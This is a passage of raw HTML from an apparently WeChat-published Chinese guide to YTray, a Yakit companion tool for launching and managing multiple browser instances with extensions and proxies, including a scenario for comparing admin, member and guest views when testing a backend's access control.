0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;color: rgb(27, 27, 27);"><p data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;"><strong data-nest-level="9" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.1 选择浏览器</span></strong></span></p></div></div></div></div></div><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">进入“浏览器”页面，选择系统浏览器，或者安装 Chrome for Testing。</span></span></p><p style="text-align: center;padding: 0.5em;" nodeleaf="" data-mpa-action-id="mtcgrffj1kwl" data-pm-slice="0 0 []"><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100046484" data-ratio="0.6261829652996845" data-s="300,640" type="block" data-type="png" data-w="1268" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=f32919bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72Fjz4xsW9Sjich9ia6IJL78MEA2vic8jOl1AM37JBIt4omnEC35WJeLsbMLJJDOp9ZjzBvsz2Kb9IkNpibGCATrDTm6eXPgh1Rn1fA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">如果需要加载本地插件、使用代理认证或固定浏览器版本，推荐使用 Chrome for Testing、Chromium 或 Edge。</span></span></p><blockquote style="font-size: 15px;font-weight: 400;color: rgba(0,0,0,0.55);line-height: 1.8;margin-bottom: 24px;"><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">需要注意的是，如果没有使用 Chrome for Testing ，但是却勾选了加载浏览器插件，是无法打开浏览器的</span></span></p></blockquote><div data-nest-level="2" data-pm-slice="6 9 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px 0px -12px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">YAK</span></em></strong></p></div></div><div data-nest-level="2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 3px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 2px 12px 2px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;color: rgb(27, 27, 27);"><p data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;"><strong data-nest-level="9" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.2 启用插件</span></strong></span></p></div></div></div></div></div><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">进入“插件”页面，可以加载根目录包含 manifest.json 的本地插件，也可以直接使用内置的 Yakit Browser Agent。</span></span></p><p style="text-align: center;padding: 0.5em;" nodeleaf="" data-mpa-action-id="mtcguqfa1e6f" data-pm-slice="0 0 []"><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100046486" data-ratio="0.6261829652996845" data-s="300,640" type="block" data-type="png" data-w="1268" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=0887d843&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72FkAeCpyibE5oth0MJITVw0kQksA2F2mY0FXqu2o1gJyh6g5sQO1gF7rys10RUoA20mviazYMqrFVvT1ZsF9PiaLicxOFFFJ45w7Ts%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">打开“默认加载”后，后续创建的新实例会自动携带该插件，不需要每次重复选择。</span></span></p><blockquote style="font-size: 15px;font-weight: 400;color: rgba(0,0,0,0.55);line-height: 1.8;margin-bottom: 24px;"><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">Ytray 安装包中默认包含了最新版本的 Yakit Browser Agent 插件，且 Yakit Browser Agent 只有开启和关闭功能，无法被删除</span></span></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">Yakit Browser Agent 的核心功能是充当浏览器和 yak 引擎之间的桥梁，方便让 yak 引擎，获取一些浏览器的原生能力</span></span></p></blockquote><div data-nest-level="2" data-pm-slice="6 9 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px 0px -12px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">YAK</span></em></strong></p></div></div><div data-nest-level="2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 3px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 2px 12px 2px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;color: rgb(27, 27, 27);"><p data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;"><strong data-nest-level="9" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.3 <span textstyle="" style="font-size: 15px;letter-spacing: 1px;">选择网络并启动</span></span></strong></span></p></div></div></div></div></div><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">回到概览页，选择浏览器、网络模式和启动地址，然后点击“启动实例”。</span></span></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">高频操作可以直接选择“无代理启动”或“使用 HTTP 代理启动”；需要临时调整插件、端口和 Chrome 参数时，再进入自定义启动。</span></span></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">代理地址可以预先保存和检测，用户名与密码不会直接写入浏览器命令行。</span></span></p><div data-nest-level="2" data-pm-slice="6 9 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px 0px -12px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">YAK</span></em></strong></p></div></div><div data-nest-level="2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 3px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 2px 12px 2px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;color: rgb(27, 27, 27);"><p data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;"><strong data-nest-level="9" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1.4 <span textstyle="" style="font-size: 15px;letter-spacing: 1px;">管理和恢复实例</span></span></strong></span></p></div></div></div></div></div><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">实例启动后，可以在主窗口或贴边悬浮面板中：</span></span></p><ul style="font-size: 15px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.8;margin-bottom: 24px;margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li style="margin-bottom: 0px;"><p style="line-height: 1.6em;margin-bottom: 8px;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">查看页面缩略图和运行状态；</span></span></p></li><li style="margin-bottom: 0px;"><p style="line-height: 1.6em;margin-bottom: 8px;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">聚焦浏览器窗口；</span></span></p></li><li style="margin-bottom: 0px;"><p style="line-height: 1.6em;margin-bottom: 8px;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">截图；</span></span></p></li><li style="margin-bottom: 0px;"><p style="line-height: 1.6em;margin-bottom: 8px;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">打开实例目录；</span></span></p></li><li style="margin-bottom: 0px;"><p style="line-height: 1.6em;margin-bottom: 8px;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">停止实例；</span></span></p></li><li style="margin-bottom: 0px;"><p style="line-height: 1.6em;margin-bottom: 8px;text-align: justify;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">从历史中恢复原来的身份环境。</span></span></p></li></ul><p style="text-align: center;padding: 0.5em;" nodeleaf="" data-mpa-action-id="mtcgwqc8li" data-pm-slice="0 0 []"><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100046488" data-ratio="0.899856938483548" data-s="300,640" type="block" data-type="png" data-w="699" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=9304d039&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72H4hkx6UbWiaUyE2ibFFMsgu1SQNNcMPLWJVnkXXRE9BbufrvImJqe2L7VzBK6m7ibibuZ5LBjaMWBsV87lBTXsCHSJMczjrEoxBvA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">平时可以让 YTray 驻留在 macOS 菜单栏或 Windows 系统托盘中，需要时再打开完整管理界面。</span></span></p><div data-nest-level="2" data-pm-slice="6 4 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;visibility: visible;"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 2px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><div data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;font-size: 18px;visibility: visible;"><p data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;visibility: visible;"><strong data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span leaf="" data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-weight: bold;visibility: visible;">四<span textstyle="" style="font-size: 18px;">、</span><span textstyle="" style="font-size: 18px;letter-spacing: 1px;">一个典型场景</span></span></strong></p></div></div></div><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">测试后台系统的权限控制时，可以分别创建管理员、普通成员和只读访客三个实例，让它们同时访问同一页面。</span></span></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">这样可以直接对比不同角色看到的按钮、数据和接口行为；即使中途关闭浏览器，下次也能恢复原来的账号和测试环境。</span></span></p><p style="font-size: 17px;font-weight: 400;color: rgba(0, 0, 0, 0.9);line-height: 1.6em;margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 1px;">需要走代理的实例单独选择 HTTP 代理，不会影响其他直连实例。</span></span></p><div data-nest-level="2" data-pm-slice="6 4 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;visibility: visible;"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 2px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><div data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;font-size: 18px;visibility: visible;"><p data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;visibility: visible;"><strong data-nest-level="6" 